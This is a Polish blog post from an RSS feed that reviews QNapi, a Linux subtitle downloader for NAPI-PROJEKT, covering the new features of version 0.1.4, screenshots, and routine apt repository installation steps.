<p>Moim zdaniem jedną z najciekawszych możliwości programu jest automatyczne skanowanie katalogów i pobieranie napisów, ale każdy znajdzie tu coś dla siebie i doceni ten program. Myślę, że już zaczyna być lepszy od pierwowzoru&#8230; brakuje już chyba tylko dokładniejszych informacji o pobranych napisach. Zawsze lubiłem ten pasek ilustrujący stopień wulgarności filmu <img src='http://blog.brodowski.net.pl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Szczerze polecam ten program&#8230; napi-projekt pod wine to udręka.</p>
<p><span id="more-121"></span></p>
<p>ScreenShoty:</p>
<p style="text-align: center;"><a title="Qnapi - pobieranie napisów" rel="lightbox[Qnapi]" href="http://img212.imageshack.us/img212/7579/screenshotna4.jpg"><img src="http://img212.imageshack.us/img212/7579/screenshotna4.jpg" alt="Qnapi - pobieranie napisów" width="320" height="121" /></a></p>
<p style="text-align: center;"><a title="Qnapi screenshot" rel="lightbox[Qnapi] nofollow" href="http://krzemin.iglu.cz/files/qnapi_kde4_04png.jpg" class="broken_link"><img src="http://krzemin.iglu.cz/files/qnapi_kde4_04png.jpg" alt="Qnapi - zakończono pobieranie napisów (kde4)" width="299" height="99" /></a></p>
<p style="text-align: center;"><a title="Qnapi menu" rel="lightbox[Qnapi] nofollow" href="http://krzemin.iglu.cz/files/qnapi_kde4_01png.jpg" class="broken_link"><img src="http://krzemin.iglu.cz/files/qnapi_kde4_01png.jpg" alt="Qnapi - menu" width="391" height="161" /></a></p>
<p>Kilka nowych możliwości jakie zostały wprowadzone z nową wersją jaką w szasie pisania tego tekstu jest 0.1.4:</p>
<ul>
<li>
<ul>
<li>możliwość zakładania kont na serwerze NAPI-PROJEKTu &#8211; teraz jeśli chcesz dodać swoje napisy, a nie masz konta NAPI, możesz to zrobić z poziomu programu, podczas konfiguracji</li>
<li>port na systemy Windows 2K/XP/Vista &#8211; użytkownicy jedynego słusznego systemu teraz również maja wybór <img src='http://blog.brodowski.net.pl/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
<li>limit jednej instancji programu w danej chwili &#8211; dzięki temu możesz zaznaczać kilka plików z filmami, pobierać dla nich napisy, potem znowu zaznaczyć kilka (itd.), a wszystkie zostaną pobrane w jednym oknie programu</li>
<li>sprawdzanie poprawności ścieżek do programu 7z oraz katalogu tymczasowego podczas pobierania napisów</li>
<li>nowe okienko podsumowania pobierania napisów &#8211; z wygodną, przewijalną listą plików</li>
<li>automatyczna (na razie eksperymentalna) integracja z KDE (Dolphin oraz Konqueror)</li>
<li>uproszczona instalacja/deinstalacja programu ze źródeł &#8211; teraz wystarczy standardowe make install / make uninstall</li>
<li>sporo innych zmian, głównie w interfejsie użytkownika, kosmetyce kodu i innych pomniejszych rzeczach</li>
</ul>
</li>
</ul>
<p><span style="text-decoration: underline;">Instalacja:</span></p>
<p>Dodajemy wpisy /etc/apt/sources.list naszym ulubionym edytorem tekstu:</p>
<ul>
<li><code>deb http://krzemin.iglu.cz/repo/ i386/</code></li>
</ul>
<p>dla szczśćdziesięcioczterobitowców:</p>
<ul>
<li><code>deb http://krzemin.iglu.cz/repo/ amd64/</code></li>
</ul>
<p>następnie:</p>
<p><code>sudo apt-get update</code></p>
<p>zostaje nam już tylko:</p>
<p><code>sudo apt-get install qnapi</code></p>
<p>lub możemy po prostu ściągnąć paczkę dla Ubuntu i innych Debianowatych ze strony programu:</p>
<p>(dla wersji 0.1.4) <a rel="nofollow" href="http://sourceforge.net/project/showfiles.php?group_id=218384&amp;package_id=263404&amp;release_id=590530">http://sourceforge.net/project/showfiles.php?group_id=218384&amp;package_id=263404&amp;release_id=590530</a></p>
<p>Jak napisał sam Autor program został stworzony bez wglądu w kod oryginalnego projektu i jego protokołów, także pamiętajcie aby zgłaszać wszystkie błędy na <a href="http://krzemin.iglu.cz">stronie autora</a> żeby pomóc w rozwoju i ulepszaniu tej aplikacji.</p>
<p>Nie zapomnijcie podzielić się swoimi wrażeniami.</p>
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2008%2F04%2F09%2Fqnapi-czyli-napiprojekt-po-linuksowemu%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2008/04/09/qnapi-czyli-napiprojekt-po-linuksowemu/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2008/04/09/qnapi-czyli-napiprojekt-po-linuksowemu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

